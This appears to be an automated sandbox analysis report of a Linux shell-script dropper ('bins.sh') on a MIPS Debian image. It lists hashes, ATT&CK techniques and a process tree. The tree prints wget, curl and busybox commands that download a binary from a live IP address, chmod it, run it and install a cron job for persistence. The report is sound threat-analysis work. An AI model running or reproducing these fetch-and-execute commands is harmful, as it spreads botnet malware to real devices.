98e186433c1f97db494e03c17ebe6d5d9212bdb42cfa6c2227d57bd22922ff1f

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02-12-2024 12:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

190e6507e4a3dcd6b4508c2b85bf651e
SHA1

1e115fc1b223bbb586a8fd07e179303365f58719
SHA256

98e186433c1f97db494e03c17ebe6d5d9212bdb42cfa6c2227d57bd22922ff1f
SHA512

5f6afb085a5a5a421cc11c81e42f23150724a91df3078252a5d28fe9b98a5547411b3d62d7ef7a4d1e3358f9fd8c46633f8452abe0da455c8a0ec9b42b152bfb
SSDEEP

96:bF5lteaknj9njGknj1jCjyjXj3j7uOCr997qmufsKYDPJ5lKknj9njGknj1jCjyV:bHeakn5nCknBOmTaDn5nCknBOmV

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2025) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
730	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	731	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

Renames itself 1 IoCs

pid	Process
732	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.psOIfD	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/760/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/813/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/898/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/921/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/997/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1006/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1054/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/235/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/17/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/789/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/986/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/3/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/857/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/881/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/890/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/897/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/907/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/930/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/973/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/852/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/756/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/773/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/839/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/845/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/903/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/167/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/889/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/902/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/912/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1003/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/764/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/402/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/821/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/859/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/866/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/975/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/976/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/989/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/333/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1049/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/737/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/817/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/893/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/906/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1064/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/36/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/877/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/932/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/964/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/970/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1041/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/856/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/750/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/959/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1030/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/13/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/790/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/802/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/804/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/807/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/1009/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/787/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/740/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/844/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	curl
File opened for modification	/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	busybox
File opened for modification	/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/chmod
  chmod 777 Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  ./Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:731
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:733
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:734
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:735
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:736
- /bin/rm
  rm Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  2⤵
  PID:821

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.psOIfD

Filesize
210B

MD5
77d41cb5c7fc0ab5499011d3a419af6b

SHA1
20f51830bc282f51c786bc0b78e1ccd9a71fe0de

SHA256
d531fca19391825ed1b774212bc3c3e1604f885d739241b543feba329ab5e154

SHA512
551e41b57eef01af6698856a8f5a8e19a6e0f2ee497a16d84e45d58ce671fe5f2cf3c30af3debf4e07041a022e92b1683076894c3215954d3c7277b5f4cc39c5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads